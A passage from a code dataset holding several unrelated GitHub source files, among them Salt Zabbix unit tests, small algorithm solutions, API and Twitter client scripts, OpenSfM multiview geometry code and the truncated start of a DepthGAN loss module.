MagicMock(\n return_value={\"new\": {}, \"old\": {}}\n ),\n },\n ):\n ret[\"result\"] = True\n ret[\"comment\"] = (\n 'Zabbix Template \"{}\" already exists and corresponds to a'\n \" definition.\".format(name)\n )\n assert zabbix_template.present(name, {}) == ret\n\n\ndef test_present_update(diff_params, substitute_params_update):\n \"\"\"\n Test to ensure that named template is present but must be updated\n \"\"\"\n with patch(\"salt.states.zabbix_template.CHANGE_STACK\", []):\n name = \"A Testing Template\"\n ret = {\"name\": name, \"result\": False, \"comment\": \"\", \"changes\": {}}\n\n def side_effect_run_query(*args):\n \"\"\"\n Differentiate between __salt__ exec module function calls with different parameters.\n \"\"\"\n if args[0] == \"template.get\":\n return [\"length of result is 1 = template exists\"]\n elif args[0] == \"template.update\":\n return diff_params\n\n with patch.dict(zabbix_template.__opts__, {\"test\": False}):\n with patch.dict(\n zabbix_template.__salt__,\n {\n \"zabbix.get_zabbix_id_mapper\": MagicMock(\n return_value={\"template\": \"templateid\"}\n ),\n \"zabbix.substitute_params\": MagicMock(\n side_effect=substitute_params_update\n ),\n \"zabbix.run_query\": MagicMock(side_effect=side_effect_run_query),\n \"zabbix.compare_params\": MagicMock(return_value=diff_params),\n },\n ):\n ret[\"result\"] = True\n ret[\"comment\"] = 'Zabbix Template \"{}\" updated.'.format(name)\n ret[\"changes\"] = {\n name: {\n \"old\": 'Zabbix Template \"{}\" differed.'.format(name),\n \"new\": (\n 'Zabbix Template \"{}\" updated according definition.'.format(\n name\n )\n ),\n }\n }\n assert zabbix_template.present(name, {}) == ret\n\n\ndef test_absent_test_mode():\n \"\"\"\n Test to ensure that named template is absent in test mode\n \"\"\"\n name = \"A Testing Template\"\n ret = {\"name\": name, \"result\": False, \"comment\": \"\", \"changes\": {}}\n with patch.dict(zabbix_template.__opts__, {\"test\": True}):\n with patch.dict(\n zabbix_template.__salt__,\n {\"zabbix.get_object_id_by_params\": MagicMock(return_value=11)},\n ):\n ret[\"result\"] = True\n ret[\"comment\"] = 'Zabbix Template \"{}\" would be deleted.'.format(name)\n ret[\"changes\"] = {\n name: {\n \"old\": 'Zabbix Template \"{}\" exists.'.format(name),\n \"new\": 'Zabbix Template \"{}\" would be deleted.'.format(name),\n }\n }\n assert zabbix_template.absent(name) == ret\n\n\ndef test_absent():\n \"\"\"\n Test to ensure that named template is absent\n \"\"\"\n name = \"A Testing Template\"\n ret = {\"name\": name, \"result\": False, \"comment\": \"\", \"changes\": {}}\n with patch.dict(zabbix_template.__opts__, {\"test\": False}):\n with patch.dict(\n zabbix_template.__salt__,\n {\"zabbix.get_object_id_by_params\": MagicMock(return_value=False)},\n ):\n ret[\"result\"] = True\n ret[\"comment\"] = 'Zabbix Template \"{}\" does not exist.'.format(name)\n assert zabbix_template.absent(name) == ret\n\n with patch.dict(\n zabbix_template.__salt__,\n {\"zabbix.get_object_id_by_params\": MagicMock(return_value=11)},\n ):\n with patch.dict(\n zabbix_template.__salt__,\n {\"zabbix.run_query\": MagicMock(return_value=True)},\n ):\n ret[\"result\"] = True\n ret[\"comment\"] = 'Zabbix Template \"{}\" deleted.'.format(name)\n ret[\"changes\"] = {\n name: {\n \"old\": 'Zabbix Template \"{}\" existed.'.format(name),\n \"new\": 'Zabbix Template \"{}\" deleted.'.format(name),\n }\n }\n assert zabbix_template.absent(name) == ret\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/states/zabbix/test_template.py","file_name":"test_template.py","file_ext":"py","file_size_in_byte":10722,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"25827383376","text":"# class Solution:\n# \"\"\"\n# @param a: a number\n# @param b: a number\n# @return: the result\n# \"\"\"\n# def addBinary(self, a, b):\n# # write your code here\n# if len(a) > len(b):\n# longer = a[::-1]\n# shorter = b[::-1] + ''.join(['0'] * (len(a) - len(b)))\n# else:\n# longer = b[::-1]\n# shorter = a[::-1] + ''.join(['0'] * (len(b) - len(a)))\n# carry = 0\n# res = ''\n# for i in range(len(longer)):\n# sum = int(longer[i]) + int(shorter[i]) + carry\n# res += str(sum % 2)\n# carry = int(sum / 2)\n# if carry == 1:\n# res += '1'\n# return ''.join(res[::-1])\n\nclass Solution:\n \"\"\"\n @param a: a number\n @param b: a number\n @return: the result\n \"\"\"\n def addBinary(self, a, b):\n # write your code here\n indexa = len(a) - 1\n indexb = len(b) - 1\n carry = 0\n res = \"\"\n while indexa >= 0 or indexb >= 0:\n x = int(a[indexa]) if indexa >= 0 else 0\n y = int(b[indexb]) if indexb >= 0 else 0\n res = str((x + y + carry) % 2) + res\n carry = int((x + y + carry) / 2)\n indexa -= 1\n indexb -= 1\n if carry == 1:\n res = '1' + res\n return res\n","repo_name":"SoniaZhu/Lintcode","sub_path":"fb/408. Add Binary [E].py","file_name":"408. Add Binary [E].py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20257568909","text":"import requests\nimport json\n\nurl = \"https://api.demoblaze.com/bycat\"\n\npayload = json.dumps({\n \"cat\": \"phone\"\n})\n\nheaders = {\n 'Content-Type': 'application/json'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\nfor Items in response:\n print(Items)\n\nprint(response.text)","repo_name":"WasseAdisu/DEMOBLAZE","sub_path":"demobl/Tests/test_demoblz_request.py","file_name":"test_demoblz_request.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14975565671","text":"# https://pypi.org/project/twitter/\n# http://socialmedia-class.org/twittertutorial.html\n\nfrom twitter import OAuth, Twitter, TwitterStream\n\nfrom Data.credentials import credentials\n\n\ndef connect_method():\n \"\"\"\n Collect the credentials and create the method to connect to the Twitter object\n :return: OAuth object with the corresponding credentials\n \"\"\"\n # you should create a credential function, in a separate file not included to git, returning a tuple\n # (ACCESS_TOKEN, ACCESS_SECRET, CONSUMER_KEY, CONSUMER_SECRET)\n ACCESS_TOKEN, ACCESS_SECRET, CONSUMER_KEY, CONSUMER_SECRET = credentials()\n return OAuth(ACCESS_TOKEN, ACCESS_SECRET, CONSUMER_KEY, CONSUMER_SECRET)\n\n\ndef search_sample(query):\n \"\"\"\n Using the Twitter library we collect some tweets regarding the query\n :param query: word to look for with the twitter API and collect some tweets\n :return: list containing only the text from tweets\n \"\"\"\n return [dic['text'] for dic in Twitter(auth=connect_method()).search.tweets(q=query)['statuses']]\n\n\ndef collect_tweet(nb_tweets=1):\n \"\"\"\n Collect the desired number of tweets using the Twitter library connecting to the Tweeter API live stream\n :param nb_tweets: number of tweets to collect\n :return: list containing only the text from tweets\n \"\"\"\n twitter_stream = TwitterStream(auth=connect_method())\n\n only_text = list()\n for msg in twitter_stream.statuses.sample(): # infinite loop\n try:\n if msg['text']:\n only_text.append(msg['text'])\n nb_tweets -= 1\n except:\n pass\n\n if not nb_tweets: # to stop the loop when reaching the desired amount of tweets\n break\n\n return only_text\n","repo_name":"Neanlitic/IF25_Sentiment_Analysis","sub_path":"Data/twitter_collect.py","file_name":"twitter_collect.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33284878383","text":"def merge_sort(lst):\n if len(lst) <= 1:\n return lst\n left_side, right_side = split(lst)\n left = merge_sort(left_side)\n right = merge_sort(right_side)\n return sorted_merge(left, right)\n\n\ndef split(lst):\n mid_point = len(lst) // 2\n left = lst[:mid_point]\n right = lst[mid_point:]\n return left, right\n\n\ndef sorted_merge(left_side, right_side):\n i = 0\n j = 0\n l = []\n\n while i < len(left_side) and j < len(right_side):\n if left_side[i] < right_side[j]:\n l.append(left_side[i])\n i += 1\n else:\n l.append(right_side[j])\n j += 1\n while i < len(left_side):\n l.append(left_side[i])\n i += 1\n while j < len(right_side):\n l.append(right_side[j])\n j += 1\n\n return l\n\n\narr = [4, 3, 2, 8, 5, 9, 1, 6, 7]\nprint(merge_sort(arr))\n","repo_name":"Adejumok/Python_DSA","sub_path":"p_dsa/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"481385547","text":"# -*- coding: utf-8 -*-\n\nimport math\nimport random\n\nimport cv2\nimport numpy as np\nimport pyopengv\n\nfrom opensfm import transformations as tf\n\n\ndef nullspace(A):\n '''Compute the null space of A.\n\n Return the smallest singular value and the corresponding vector.\n '''\n u, s, vh = np.linalg.svd(A)\n return s[-1], vh[-1]\n\n\ndef homogeneous(x):\n '''Add a column of ones to x.\n '''\n s = x.shape[:-1] + (1,)\n return np.hstack((x, np.ones(s)))\n\n\ndef homogeneous_vec(x):\n '''Add a column of zeros to x.\n '''\n s = x.shape[:-1] + (1,)\n return np.hstack((x, np.zeros(s)))\n\n\ndef euclidean(x):\n '''Divide by last column and drop it.\n '''\n return x[..., :-1] / x[..., -1:]\n\n\ndef P_from_KRt(K, R, t):\n '''P = K[R|t].\n '''\n P = np.empty((3, 4))\n P[:, :3] = np.dot(K, R)\n P[:, 3] = np.dot(K, t)\n return P\n\n\ndef KRt_from_P(P):\n '''Factorize the camera matrix into K,R,t as P = K[R|t].\n\n >>> K = np.array([[1, 2, 3],\n ... [0, 4, 5],\n ... [0, 0, 1]])\n >>> R = np.array([[ 0.57313786, -0.60900664, 0.54829181],\n ... [ 0.74034884, 0.6716445 , -0.02787928],\n ... [-0.35127851, 0.42190588, 0.83582225]])\n >>> t = np.array([1, 2, 3])\n >>> P = P_from_KRt(K, R, t)\n >>> KK, RR, tt = KRt_from_P(P)\n >>> np.allclose(K, KK)\n True\n >>> np.allclose(R, RR)\n True\n >>> np.allclose(t, tt)\n True\n '''\n K, R = rq(P[:, :3])\n\n T = np.diag(np.sign(np.diag(K))) # ensure K has positive diagonal\n K = np.dot(K, T)\n R = np.dot(T, R)\n t = np.linalg.solve(K, P[:,3])\n if np.linalg.det(R) < 0: # ensure det(R) = 1\n R = -R\n t = -t\n K /= K[2, 2] # normalise K\n\n return K, R, t\n\n\ndef rq(A):\n '''Decompose a matrix into a triangular times rotation.\n (from PCV)\n\n >>> Q = np.array([[ 0.57313786, -0.60900664, 0.54829181],\n ... [ 0.74034884, 0.6716445 , -0.02787928],\n ... [-0.35127851, 0.42190588, 0.83582225]])\n >>> R = np.array([[1, 2, 3],\n ... [0, 4, 5],\n ... [0, 0, 1]])\n >>> r, q = rq(R.dot(Q))\n >>> np.allclose(r.dot(q), R.dot(Q))\n True\n >>> np.allclose(abs(np.linalg.det(q)), 1.0)\n True\n >>> np.allclose(r[1,0], 0) and np.allclose(r[2,0], 0) and np.allclose(r[2,1], 0)\n True\n '''\n Q, R = np.linalg.qr(np.flipud(A).T)\n R = np.flipud(R.T)\n Q = Q.T\n return R[:,::-1], Q[::-1,:]\n\n\ndef vector_angle(u, v):\n \"\"\"Angle between two vectors.\n\n >>> u = [ 0.99500417, -0.33333333, -0.09983342]\n >>> v = [ 0.99500417, -0.33333333, -0.09983342]\n >>> vector_angle(u, v)\n 0.0\n \"\"\"\n cos = np.dot(u, v) / math.sqrt(np.dot(u, u) * np.dot(v, v))\n if cos >= 1.0:\n return 0.0\n else:\n return math.acos(cos)\n\n\ndef vector_angle_many(u, v):\n \"\"\"Angles between to lists of vectors.\n\n >>> u = [[0.99500417, -0.33333333, -0.09983342], [0, -1, 0], [0, 1, 0]]\n >>> v = [[0.99500417, -0.33333333, -0.09983342], [0, +1, 0], [0, 0, 1]]\n >>> angles = vector_angle_many(u, v)\n >>> np.allclose(angles, [0., 3.1416, 1.5708])\n True\n \"\"\"\n ua = np.array(u, dtype=np.float64, copy=False).reshape(-1, 3)\n va = np.array(v, dtype=np.float64, copy=False).reshape(-1, 3)\n return tf.angle_between_vectors(ua, va, axis=1)\n\n\ndef decompose_similarity_transform(T):\n ''' Decompose the similarity transform to scale, rotation and translation\n '''\n m, n = T.shape[0:2]\n assert(m==n)\n A, b = T[:(m-1),:(m-1)], T[:(m-1),(m-1)]\n s = np.linalg.det(A)**(1./(m-1))\n return s, A/s, b\n\n\ndef ransac_max_iterations(kernel, inliers, failure_probability):\n if len(inliers) >= kernel.num_samples():\n return 0\n inlier_ratio = float(len(inliers)) / kernel.num_samples()\n n = kernel.required_samples\n return math.log(failure_probability) / math.log(1.0 - inlier_ratio**n)\n\n\ndef ransac(kernel, threshold):\n '''Robustly fit a model to data.\n\n >>> x = np.array([1., 2., 3.])\n >>> y = np.array([2., 4., 7.])\n >>> kernel = TestLinearKernel(x, y)\n >>> model, inliers, error = ransac(kernel, 0.1)\n >>> np.allclose(model, 2.0)\n True\n >>> inliers\n array([0, 1])\n >>> np.allclose(error, 0.1)\n True\n '''\n max_iterations = 1000\n best_error = float('inf')\n best_model = None\n best_inliers = []\n i = 0\n while i < max_iterations:\n try:\n samples = kernel.sampling()\n except AttributeError:\n samples = random.sample(range(kernel.num_samples()),\n kernel.required_samples)\n models = kernel.fit(samples)\n for model in models:\n errors = kernel.evaluate(model)\n inliers = np.flatnonzero(np.fabs(errors) < threshold)\n error = np.fabs(errors).clip(0, threshold).sum()\n if len(inliers) and error < best_error:\n best_error = error\n best_model = model\n best_inliers = inliers\n max_iterations = min(max_iterations,\n ransac_max_iterations(kernel, best_inliers, 0.01))\n i += 1\n return best_model, best_inliers, best_error\n\n\nclass TestLinearKernel:\n '''A kernel for the model y = a * x.\n\n >>> x = np.array([1., 2., 3.])\n >>> y = np.array([2., 4., 7.])\n >>> kernel = TestLinearKernel(x, y)\n >>> models = kernel.fit([0])\n >>> models\n [2.0]\n >>> errors = kernel.evaluate(models[0])\n >>> np.allclose(errors, [0., 0., 1.])\n True\n '''\n required_samples = 1\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def num_samples(self):\n return len(self.x)\n\n def fit(self, samples):\n x = self.x[samples[0]]\n y = self.y[samples[0]]\n return [y / x]\n\n def evaluate(self, model):\n return self.y - model * self.x\n\n\nclass PlaneKernel:\n '''\n A kernel for estimating plane from on-plane points and vectors\n '''\n\n def __init__(self, points, vectors, verticals, point_threshold=1.0, vector_threshold=5.0):\n self.points = points\n self.vectors = vectors\n self.verticals = verticals\n self.required_samples = 3\n self.point_threshold = point_threshold\n self.vector_threshold = vector_threshold\n\n def num_samples(self):\n return len(self.points)\n\n def sampling(self):\n samples = {}\n if len(self.vectors)>0:\n samples['points'] = self.points[random.sample(range(len(self.points)), 2), :]\n samples['vectors'] = [self.vectors[i] for i in random.sample(range(len(self.vectors)), 1)]\n else:\n samples['points'] = self.points[:, random.sample(range(len(self.points)), 3)]\n samples['vectors'] = None\n return samples\n\n def fit(self, samples):\n model = fit_plane(samples['points'], samples['vectors'], self.verticals)\n return [model]\n\n def evaluate(self, model):\n # only evaluate on points\n normal = model[0:3]\n normal_norm = np.linalg.norm(normal)+1e-10\n point_error = np.abs(model.T.dot(homogeneous(self.points).T))/normal_norm\n vectors = np.array(self.vectors)\n vector_norm = np.sum(vectors*vectors, axis=1)\n vectors = (vectors.T / vector_norm).T\n vector_error = abs(np.rad2deg(abs(np.arccos(vectors.dot(normal)/normal_norm)))-90)\n vector_error[vector_error<self.vector_threshold] = 0.0\n vector_error[vector_error>=self.vector_threshold] = self.point_threshold+0.1\n point_error[point_error<self.point_threshold] = 0.0\n point_error[point_error>=self.point_threshold] = self.point_threshold+0.1\n errors = np.hstack((point_error, vector_error))\n return errors\n\n\ndef fit_plane_ransac(points, vectors, verticals, point_threshold=1.2, vector_threshold=5.0):\n vectors = [v/math.pi*180.0 for v in vectors]\n kernel = PlaneKernel(points - points.mean(axis=0), vectors, verticals, point_threshold, vector_threshold)\n p, inliers, error = ransac(kernel, point_threshold)\n num_point = points.shape[0]\n points_inliers = points[inliers[inliers<num_point],:]\n vectors_inliers = [vectors[i-num_point] for i in inliers[inliers>=num_point]]\n p = fit_plane(points_inliers - points_inliers.mean(axis=0), vectors_inliers, verticals)\n return p, inliers, error\n\n\ndef fit_plane(points, vectors, verticals):\n '''Estimate a plane fron on-plane points and vectors.\n\n >>> x = [[0,0,0], [1,0,0], [0,1,0]]\n >>> p = fit_plane(x, None, None)\n >>> np.allclose(p, [0,0,1,0]) or np.allclose(p, [0,0,-1,0])\n True\n >>> x = [[0,0,0], [0,1,0]]\n >>> v = [[1,0,0]]\n >>> p = fit_plane(x, v, None)\n >>> np.allclose(p, [0,0,1,0]) or np.allclose(p, [0,0,-1,0])\n True\n >>> vert = [[0,0,1]]\n >>> p = fit_plane(x, v, vert)\n >>> np.allclose(p, [0,0,1,0])\n True\n '''\n # (x 1) p = 0\n # (v 0) p = 0\n points = np.array(points)\n s = 1. / max(1e-8, points.std()) # Normalize the scale to improve conditioning.\n x = homogeneous(s * points)\n if vectors:\n v = homogeneous_vec(s * np.array(vectors))\n A = np.vstack((x, v))\n else:\n A = x\n _, p = nullspace(A)\n p[3] /= s\n\n if np.allclose(p[:3], [0,0,0]):\n return np.array([0.0, 0.0, 1.0, 0])\n\n # Use verticals to decide the sign of p\n if verticals:\n d = 0\n for vertical in verticals:\n d += p[:3].dot(vertical)\n p *= np.sign(d)\n return p\n\n\ndef plane_horizontalling_rotation(p):\n '''Compute a rotation that brings p to z=0\n\n >>> p = [1.0, 2.0, 3.0]\n >>> R = plane_horizontalling_rotation(p)\n >>> np.allclose(R.dot(p), [0, 0, np.linalg.norm(p)])\n True\n\n >>> p = [0, 0, 1.0]\n >>> R = plane_horizontalling_rotation(p)\n >>> np.allclose(R.dot(p), [0, 0, np.linalg.norm(p)])\n True\n\n >>> p = [0, 0, -1.0]\n >>> R = plane_horizontalling_rotation(p)\n >>> np.allclose(R.dot(p), [0, 0, np.linalg.norm(p)])\n True\n\n >>> p = [1e-14, 1e-14, -1.0]\n >>> R = plane_horizontalling_rotation(p)\n >>> np.allclose(R.dot(p), [0, 0, np.linalg.norm(p)])\n True\n '''\n v0 = p[:3]\n v1 = [0.0, 0.0, 1.0]\n angle = tf.angle_between_vectors(v0, v1)\n axis = tf.vector_product(v0, v1)\n if np.linalg.norm(axis) > 0:\n return tf.rotation_matrix(angle, axis)[:3, :3]\n elif angle < 1.0:\n return np.eye(3)\n elif angle > 3.0:\n return np.diag([1, -1, -1])\n\n\ndef fit_similarity_transform(p1, p2, max_iterations=1000, threshold=1):\n ''' Fit a similarity transform between two points sets\n '''\n # TODO (Yubin): adapt to RANSAC class\n\n num_points, dim = p1.shape[0:2]\n\n assert(p1.shape[0]==p2.shape[0])\n\n best_inliers = []\n for i in range(max_iterations):\n\n rnd = np.random.permutation(num_points)\n rnd = rnd[0:dim]\n\n T = tf.affine_matrix_from_points(p1[rnd,:].T, p2[rnd,:].T, shear=False)\n p1h = homogeneous(p1)\n p2h = homogeneous(p2)\n\n errors = np.sqrt(np.sum( ( p2h.T - np.dot(T, p1h.T) ) ** 2 , axis=0 ) )\n inliers = np.argwhere(errors < threshold)[:,0]\n if len(inliers) >= len(best_inliers):\n best_T = T.copy()\n best_inliers = np.argwhere(errors < threshold)[:,0]\n\n # Estimate similarity transform with inliers\n if len(best_inliers)>dim+3:\n best_T = tf.affine_matrix_from_points(p1[best_inliers,:].T, p2[best_inliers,:].T, shear=False)\n errors = np.sqrt(np.sum( ( p2h.T - np.dot(best_T, p1h.T) ) ** 2 , axis=0 ) )\n best_inliers = np.argwhere(errors < threshold)[:,0]\n\n return best_T, best_inliers\n\n\ndef K_from_camera(camera):\n f = float(camera['focal'])\n return np.array([[f, 0., 0.],\n [0., f, 0.],\n [0., 0., 1.]])\n\n\ndef focal_from_homography(H):\n '''Solve for w = H w H^t, with w = diag(a, a, b)\n\n >>> K = np.diag([0.8, 0.8, 1])\n >>> R = cv2.Rodrigues(np.array([0.3, 0, 0]))[0]\n >>> H = K.dot(R).dot(np.linalg.inv(K))\n >>> f = focal_from_homography(3 * H)\n >>> np.allclose(f, 0.8)\n True\n '''\n H = H / np.linalg.det(H)**(1.0 / 3.0)\n A = np.array([\n [H[0, 0] * H[0, 0] + H[0, 1] * H[0, 1] - 1, H[0, 2] * H[0, 2]],\n [H[0, 0] * H[1, 0] + H[0, 1] * H[1, 1], H[0, 2] * H[1, 2]],\n [H[0, 0] * H[2, 0] + H[0, 1] * H[2, 1], H[0, 2] * H[2, 2]],\n [H[1, 0] * H[1, 0] + H[1, 1] * H[1, 1] - 1, H[1, 2] * H[1, 2]],\n [H[1, 0] * H[2, 0] + H[1, 1] * H[2, 1], H[1, 2] * H[2, 2]],\n [H[2, 0] * H[2, 0] + H[2, 1] * H[2, 1], H[2, 2] * H[2, 2] - 1],\n ])\n _, (a, b) = nullspace(A)\n focal = np.sqrt(a / b)\n return focal\n\n\ndef R_from_homography(H, f1, f2):\n K1 = np.diag([f1, f1, 1])\n K2 = np.diag([f2, f2, 1])\n K2inv = np.linalg.inv(K2)\n R = K2inv.dot(H).dot(K1)\n R = project_to_rotation_matrix(R)\n return R\n\n\ndef project_to_rotation_matrix(A):\n try:\n u, d, vt = np.linalg.svd(A)\n except np.linalg.linalg.LinAlgError:\n return None\n return u.dot(vt)\n\n\ndef camera_up_vector(rotation_matrix):\n \"\"\"Unit vector pointing to zenit in camera coords.\n\n :param rotation: camera pose rotation\n \"\"\"\n return rotation_matrix[:, 2]\n\n\ndef camera_compass_angle(rotation_matrix):\n \"\"\"Compass angle of a camera\n\n Angle between world's Y axis and camera's Z axis projected\n onto the XY world plane.\n\n :param rotation: camera pose rotation\n \"\"\"\n z = rotation_matrix[2, :] # Camera's Z axis in world coordinates\n angle = np.arctan2(z[0], z[1])\n return np.degrees(angle)\n\n\ndef rotation_matrix_from_up_vector_and_compass(up_vector, compass_angle):\n \"\"\"Camera rotation given up_vector and compass.\n\n >>> d = [1, 2, 3]\n >>> angle = -123\n >>> R = rotation_matrix_from_up_vector_and_compass(d, angle)\n >>> np.allclose(np.linalg.det(R), 1.0)\n True\n >>> up = camera_up_vector(R)\n >>> np.allclose(d / np.linalg.norm(d), up)\n True\n >>> np.allclose(camera_compass_angle(R), angle)\n True\n\n >>> d = [0, 0, 1]\n >>> angle = 123\n >>> R = rotation_matrix_from_up_vector_and_compass(d, angle)\n >>> np.allclose(np.linalg.det(R), 1.0)\n True\n >>> up = camera_up_vector(R)\n >>> np.allclose(d / np.linalg.norm(d), up)\n True\n \"\"\"\n r3 = np.array(up_vector) / np.linalg.norm(up_vector)\n ez = np.array([0.0, 0.0, 1.0])\n r2 = ez - np.dot(ez, r3) * r3\n r2n = np.linalg.norm(r2)\n if r2n > 1e-8:\n r2 /= r2n\n r1 = np.cross(r2, r3)\n else: # We are looking to nadir or zenith\n r1 = np.array([1.0, 0.0, 0.0])\n r2 = np.cross(r3, r1)\n\n compass_rotation = cv2.Rodrigues(np.radians([0.0, 0.0, compass_angle]))[0]\n return np.column_stack([r1, r2, r3]).dot(compass_rotation)\n\n\ndef motion_from_plane_homography(H):\n \"\"\"Compute candidate camera motions from a plane-induced homography.\n\n Returns up to 8 motions.\n The homography is assumed to be in normalized camera coordinates.\n\n Uses the method of [Faugueras and Lustman 1988]\n\n [Faugueras and Lustman 1988] Faugeras, Olivier, and F. Lustman.\n “Motion and Structure from Motion in a Piecewise Planar Environment.”\n Report. INRIA, June 1988. https://hal.inria.fr/inria-00075698/document\n \"\"\"\n\n u, l, vh = np.linalg.svd(H)\n d1, d2, d3 = l\n s = np.linalg.det(u) * np.linalg.det(vh)\n\n # Skip the cases where some singular values are nearly equal\n if d1 / d2 < 1.0001 or d2 / d3 < 1.0001:\n return []\n\n abs_x1 = np.sqrt((d1**2 - d2**2) / (d1**2 - d3**2))\n abs_x3 = np.sqrt((d2**2 - d3**2) / (d1**2 - d3**2))\n possible_x1_x3 = [(abs_x1, abs_x3), (abs_x1, -abs_x3),\n (-abs_x1, abs_x3), (-abs_x1, -abs_x3)]\n solutions = []\n\n # Case d' > 0\n for x1, x3 in possible_x1_x3:\n sin_theta = (d1 - d3) * x1 * x3 / d2\n cos_theta = (d1 * x3**2 + d3 * x1**2) / d2\n Rp = np.array([[cos_theta, 0, -sin_theta],\n [0, 1, 0],\n [sin_theta, 0, cos_theta]])\n tp = (d1 - d3) * np.array([x1, 0, -x3])\n np_ = np.array([x1, 0, x3])\n R = s * np.dot(np.dot(u, Rp), vh)\n t = np.dot(u, tp)\n n = -np.dot(vh.T, np_)\n d = s * d2\n solutions.append((R, t, n, d))\n\n # Case d' < 0\n for x1, x3 in possible_x1_x3:\n sin_phi = (d1 + d3) * x1 * x3 / d2\n cos_phi = (d3 * x1**2 - d1 * x3**2) / d2\n Rp = np.array([[cos_phi, 0, sin_phi],\n [0, -1, 0],\n [sin_phi, 0, -cos_phi]])\n tp = (d1 + d3) * np.array([x1, 0, x3])\n np_ = np.array([x1, 0, x3])\n R = s * np.dot(np.dot(u, Rp), vh)\n t = np.dot(u, tp)\n n = -np.dot(vh.T, np_)\n d = -s * d2\n solutions.append((R, t, n, d))\n\n return solutions\n\n\ndef absolute_pose_ransac(bs, Xs, method, threshold, iterations, probabilty):\n try:\n return pyopengv.absolute_pose_ransac(\n bs, Xs, method, threshold,\n iterations=iterations,\n probabilty=probabilty)\n except Exception:\n # Older versions of pyopengv do not accept the probability argument.\n return pyopengv.absolute_pose_ransac(\n bs, Xs, method, threshold, iterations)\n\n\ndef relative_pose_ransac(b1, b2, method, threshold, iterations, probability):\n try:\n return pyopengv.relative_pose_ransac(b1, b2, method, threshold,\n iterations=iterations,\n probability=probability)\n except Exception:\n # Older versions of pyopengv do not accept the probability argument.\n return pyopengv.relative_pose_ransac(b1, b2, method, threshold,\n iterations)\n\n\ndef relative_pose_ransac_rotation_only(b1, b2, threshold, iterations,\n probability):\n try:\n return pyopengv.relative_pose_ransac_rotation_only(\n b1, b2, threshold,\n iterations=iterations,\n probability=probability)\n except Exception:\n # Older versions of pyopengv do not accept the probability argument.\n return pyopengv.relative_pose_ransac_rotation_only(\n b1, b2, threshold, iterations)\n\n\ndef relative_pose_optimize_nonlinear(b1, b2, t, R):\n return pyopengv.relative_pose_optimize_nonlinear(b1, b2, t, R)\n","repo_name":"generalized-intelligence/GAAS","sub_path":"deprecated/algorithms/sfm/OpenSfM/opensfm/multiview.py","file_name":"multiview.py","file_ext":"py","file_size_in_byte":18388,"program_lang":"python","lang":"en","doc_type":"code","stars":1787,"dataset":"github-code","pt":"78"} +{"seq_id":"43240514576","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(17, GPIO.OUT)\nGPIO.setup(27, GPIO.IN)\nswitch = 0\n\nwhile True:\n switch = GPIO.input(27)\n GPIO.output(17, switch)\n time.sleep(1)","repo_name":"Ilyagavrilin/get","sub_path":"1_TASK.py","file_name":"1_TASK.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"42322447238","text":"def read_data():\n data = []\n with open('1/input.txt') as f:\n lines = f.readlines()\n for line in lines:\n val = line.strip()\n data.append(int(val))\n return data\n\ndef count_increases(data, window = 3):\n total = 0\n\n for i in range(len(data) - (window - 1)):\n first_sum = sum(data[i:(i+window)])\n second_sum = sum(data[(i+1):(i+window+1)])\n if second_sum > first_sum:\n total += 1\n return total\n\n\ndef main():\n data = read_data()\n increases = count_increases(data)\n print(f'total increases is {increases}')\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"drewrey/advent-of-code-2021","sub_path":"1/increases.py","file_name":"increases.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38528091949","text":"# python3.7\n\"\"\"Defines loss functions for StyleGAN2 training.\"\"\"\n\nimport numpy as np\n\nimport torch\nimport torch.nn.functional as F\nimport torchgeometry as tgm\nfrom torch.nn.functional import grid_sample\n\nfrom third_party.stylegan2_official_ops import conv2d_gradfix\nfrom utils.dist_utils import ddp_sync\nfrom .base_loss import BaseLoss\n\n__all__ = ['DepthGANLoss']\n\n\nclass DepthGANLoss(BaseLoss):\n \"\"\"Contains the class to compute losses for training StyleGAN2.\n\n Basically, this class contains the computation of adversarial loss for both\n generator and discriminator, perceptual path length regularization for\n generator, and gradient penalty as the regularization for discriminator.\n \"\"\"\n\n def __init__(self, runner, d_loss_kwargs=None, g_loss_kwargs=None):\n \"\"\"Initializes with models and arguments for computing losses.\"\"\"\n\n if runner.enable_amp:\n raise NotImplementedError('DepthGAN loss does not support '\n 'automatic mixed precision training yet.')\n\n # Setting for discriminator loss.\n self.d_loss_kwargs = d_loss_kwargs or dict()\n # Loss weight for gradient penalty on real images.\n self.r1_gamma = self.d_loss_kwargs.get('r1_gamma', 10.0)\n # How often to perform gradient penalty regularization.\n self.r1_interval = int(self.d_loss_kwargs.get('r1_interval', 16))\n\n self.num_classes = int(self.d_loss_kwargs.get('num_classes', 10))\n\n self.gdloss = self.d_loss_kwargs.get('gdloss', 0.001)\n self.ddloss = self.d_loss_kwargs.get('ddloss', 0.8)\n\n self.g_loss_kwargs = g_loss_kwargs or dict()\n self.drotloss = self.g_loss_kwargs.get('drotloss', 50.0)\n self.rgbrotloss = self.g_loss_kwargs.get('rgbrotloss', 10.0)\n\n if self.r1_interval <= 0:\n self.r1_interval = 1\n self.r1_gamma = 0.0\n assert self.r1_gamma >= 0.0\n runner.running_stats.add('Loss/D Fake',\n log_name='loss_d_fake',\n log_format='.3f',\n log_strategy='AVERAGE')\n runner.running_stats.add('Loss/D Real',\n log_name='loss_d_real',\n log_format='.3f',\n log_strategy='AVERAGE')\n runner.running_stats.add('Loss/D 